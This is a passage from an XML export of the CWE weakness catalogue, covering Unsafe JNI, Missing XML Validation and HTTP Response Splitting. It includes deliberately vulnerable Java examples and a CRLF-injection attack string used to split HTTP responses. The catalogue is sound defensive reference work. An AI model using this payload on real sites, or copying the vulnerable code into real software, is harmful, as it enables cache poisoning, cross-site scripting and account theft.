							objects in the same way that Java code uses these objects. A native
							method can create Java objects, including arrays and strings, and then
							inspect and use these objects to perform its tasks. A native method can
							also inspect and use objects created by Java application code. A native
							method can even update Java objects that it created or that were passed
							to it, and these updated objects are available to the Java application.
							Thus, both the native language side and the Java side of an application
							can create, update, and access Java objects and then share these objects
							between them.</Text>
						            <Text>The vulnerability in the example above could easily be detected
							through a source code audit of the native method implementation. This
							may not be practical or possible depending on the availability of the C
							source code and the way the project is built, but in many cases it may
							suffice. However, the ability to share objects between Java and native
							methods expands the potential risk to much more insidious cases where
							improper data handling in Java may lead to unexpected vulnerabilities in
							native code or unsafe operations in native code corrupt data structures
							in Java. Vulnerabilities in native code accessed through a Java
							application are typically exploited in the same manner as they are in
							applications written in the native language. The only challenge to such
							an attack is for the attacker to identify that the Java application uses
							native code to perform certain operations. This can be accomplished in a
							variety of ways, including identifying specific behaviors that are often
							implemented with native code or by exploiting a system information
							exposure in the Java application that reveals its use of JNI [See
							Reference].</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Fortify Software</Reference_Author>
					          <Reference_Title>Fortify Descriptions</Reference_Title>
					          <Reference_Link>http://vulncat.fortifysoftware.com</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>B. Stearns</Reference_Author>
					          <Reference_Title>The Java(TM) Tutorial: The Java Native
						Interface</Reference_Title>
					          <Reference_Publisher>Sun Microsystems</Reference_Publisher>
					          <Reference_PubDate>2005</Reference_PubDate>
					          <Reference_Link>http://java.sun.com/docs/books/tutorial/native1.1/</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Unsafe JNI</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Define wrappers around native methods</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Example, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, References,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Unsafe
						JNI</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="112" Name="Missing XML Validation" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software accepts XML from an untrusted source but does not
					validate the XML against the proper schema.</Description_Summary>
				        <Extended_Description>
					          <Text>Most successful attacks begin with a violation of the programmer's
						assumptions. By accepting an XML document without validating it against a
						DTD or XML schema, the programmer leaves a door open for attackers to
						provide unexpected, unreasonable, or malicious input.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>It is not possible for an XML parser to validate all aspects of a
						document's content; a parser cannot understand the complete semantics of the
						data. However, a parser can do a complete and thorough job of checking the
						document's structure and therefore guarantee to the code that processes the
						document that the content is well-formed.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Always validate XML input against a known XML Schema or DTD.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code loads an XML file without validating it against a
						known XML Schema or DTD.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment>// Read DOM</Comment>
							              <Code>try {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>DocumentBuilderFactory factory =
									DocumentBuilderFactory.newInstance();</Code>
								                <Code>factory.setValidating( false );</Code>
								                <Code>....</Code>
								                <Code>c_dom = factory.newDocumentBuilder().parse( xmlFile );</Code>
							              </Block>
							              <Code>} catch(Exception ex) {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code excerpt creates a non-validating XML
						DocumentBuilder object (one that doesn't validate an XML document against a
						schema).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>DocumentBuilderFactory builderFactory =
								DocumentBuilderFactory.newInstance();</Code>
							              <Code>builderFactory.setNamespaceAware(true);</Code>
							              <Code>DocumenbBuilder builder =
								builderFactory.newDocumentBuilder();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Missing XML Validation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>99</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Example, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="113" Name="Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but does
					not neutralize or incorrectly neutralizes CR and LF characters before the data
					is included in outgoing HTTP headers.</Description_Summary>
				        <Extended_Description>
					          <Text>Including unvalidated data in an HTTP header allows an attacker to specify
						the entirety of the HTTP response rendered by the browser. When an HTTP
						request contains unexpected CR (carriage return, also given by %0d or \r)
						and LF (line feed, also given by %0a or \n) characters the server may
						respond with an output stream that is interpreted as two different HTTP
						responses (instead of one). An attacker can control the second response and
						mount attacks such as cross-site scripting and cache poisoning
						attacks.</Text>
					          <Text>HTTP response splitting weaknesses may be present when:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>Data enters a web application through an untrusted source, most
							frequently an HTTP request.</Text>
						            <Text>The data is included in an HTTP response header sent to a web user
							without being validated for malicious characters.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>93</Relationship_Target_ID>
					          <!--Improper Neutralization of CRLF Sequences ('CRLF Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> CR and LF characters in an HTTP header may give attackers control of
							the remaining headers and body of the response the application intends
							to send, as well as allowing them to create additional responses
							entirely under their control. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Construct HTTP headers very carefully, avoiding the use of
							non-validated input data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code segment reads the name of the author of a weblog
						entry, author, from an HTTP request and sets it in a cookie header of an
						HTTP response.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String author = request.getParameter(AUTHOR_PARAM);</Code>
							              <Code>...</Code>
							              <Code>Cookie cookie = new Cookie("author", author);</Code>
							              <Code>cookie.setMaxAge(cookieExpiration);</Code>
							              <Code>response.addCookie(cookie);</Code>
						            </Block>
						            <Text>Assuming a string consisting of standard alpha-numeric characters,
							such as "Jane Smith", is submitted in the request the HTTP response
							including this cookie might take the following form:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>HTTP/1.1 200 OK</Code>
							              <Code>...</Code>
							              <Code>Set-Cookie: author=Jane Smith</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>However, because the value of the cookie is formed of unvalidated user
							input the response will only maintain this form if the value submitted
							for AUTHOR_PARAM does not contain any CR and LF characters. If an
							attacker submits a malicious string, such as</Text>
						            <Block Block_Nature="Attack">
							              <Code>Wiley Hacker\r\nHTTP/1.1 200 OK\r\n</Code>
						            </Block>
						            <Text>then the HTTP response would be split into two responses of the
							following form:</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>HTTP/1.1 200 OK</Code>
							              <Code>...</Code>
							              <Code>Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Clearly, the second response is completely controlled by the attacker
							and can be constructed with any header and body content desired. The
							ability of attacker to construct arbitrary HTTP responses permits a
							variety of resulting attacks, including:</Text>
						            <Block Block_Nature="List">
							              <Text>cross-user defacement</Text>
							              <Text>web and browser cache poisoning</Text>
							              <Text>cross-site scripting</Text>
							              <Text>page hijacking</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block>
							              <Text_Title>Cross-User Defacement</Text_Title>
							              <Text>An attacker can make a single request to a vulnerable server that
								will cause the sever to create two responses, the second of which
								may be misinterpreted as a response to a different request, possibly
								one made by another user sharing the same TCP connection with the
								sever. This can be accomplished by convincing the user to submit the
								malicious request themselves, or remotely in situations where the
								attacker and the user share a common TCP connection to the server,
								such as a shared proxy server.</Text>
							              <Block Block_Nature="List">
								                <Text>In the best case, an attacker can leverage this ability to
									convince users that the application has been hacked, causing
									users to lose confidence in the security of the
									application.</Text>
								                <Text>In the worst case, an attacker may provide specially crafted
									content designed to mimic the behavior of the application but
									redirect private information, such as account numbers and
									passwords, back to the attacker.</Text>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block>
							              <Text_Title>Cache Poisoning</Text_Title>
							              <Text>The impact of a maliciously constructed response can be magnified
								if it is cached either by a web cache used by multiple users or even
								the browser cache of a single user. If a response is cached in a
								shared web cache, such as those commonly found in proxy servers,
								then all users of that cache will continue receive the malicious
								content until the cache entry is purged. Similarly, if the response
								is cached in the browser of an individual user, then that user will
								continue to receive the malicious content until the cache entry is
								purged, although the user of the local browser instance will be
								affected.</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block>
							              <Text_Title>Cross-Site Scripting</Text_Title>
							              <Text>Once attackers have control of the responses sent by an
								application, they have a choice of a variety of malicious content to
								provide users. Cross-site scripting is common form of attack where
								malicious JavaScript or other code included in a response is
								executed in the user's browser.</Text>
							              <Text>The variety of attacks based on XSS is almost limitless, but they
								commonly include transmitting private data like cookies or other
								session information to the attacker, redirecting the victim to web
								content controlled by the attacker, or performing other malicious
								operations on the user's machine under the guise of the vulnerable
								site.</Text>
							              <Text>The most common and dangerous attack vector against users of a
								vulnerable application uses JavaScript to transmit session and
								authentication information back to the attacker who can then take
								complete control of the victim's account.</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block>
							              <Text_Title>Page Hijacking</Text_Title>
							              <Text>In addition to using a vulnerable application to send malicious
								content to a user, the same root vulnerability can also be leveraged
								to redirect sensitive content generated by the server and intended
								for the user to the attacker instead. By submitting a request that
								results in two responses, the intended response from the server and
								the response generated by the attacker, an attacker can cause an
								intermediate node, such as a shared proxy server, to misdirect a
								response generated by the server for the user to the
								attacker.</Text>
							              <Text>Because the request made by the attacker generates two responses,
								the first is interpreted as a response to the attacker's request,
								while the second remains in limbo. When the user makes a legitimate
								request through the same TCP connection, the attacker's request is
								already waiting and is interpreted as a response to the victim's
								request. The attacker then sends a second request to the server, to
								which the proxy server responds with the server generated request
								intended for the victim, thereby compromising any sensitive
								information in the headers or body of the response intended for the
								victim.</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2146</Observed_Example_Reference>
					          <Observed_Example_Description>Application accepts CRLF in an object ID, allowing
						HTTP response splitting.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1620</Observed_Example_Reference>
					          <Observed_Example_Description>HTTP response splitting via CRLF in parameter
						related to URL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1656</Observed_Example_Reference>
					          <Observed_Example_Description>HTTP response splitting via CRLF in parameter
						related to URL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2060</Observed_Example_Reference>
					          <Observed_Example_Description>Bulletin board allows response splitting via CRLF
						in parameter.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2065</Observed_Example_Reference>
					          <Observed_Example_Description>Bulletin board allows response splitting via CRLF
						in parameter.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2512</Observed_Example_Reference>
					          <Observed_Example_Description>Response splitting via CRLF in
						PHPSESSID.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1951</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Application accepts CRLF in an object ID,
						allowing HTTP response splitting.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1687</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: HTTP response splitting via CRLF in
						parameter related to URL.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>HTTP response splitting is probably only multi-factor in an environment
						that uses intermediaries.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP TOP 10</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and
						Response Splitting)." Page 31</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>HTTP response splitting</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>HTTP Response Splitting</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>HTTP Response Splitting </Mapped_Node_Name>
					          <Mapped_Node_ID>25</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>34</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated References, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example, Other_Notes,
						References, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Other_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
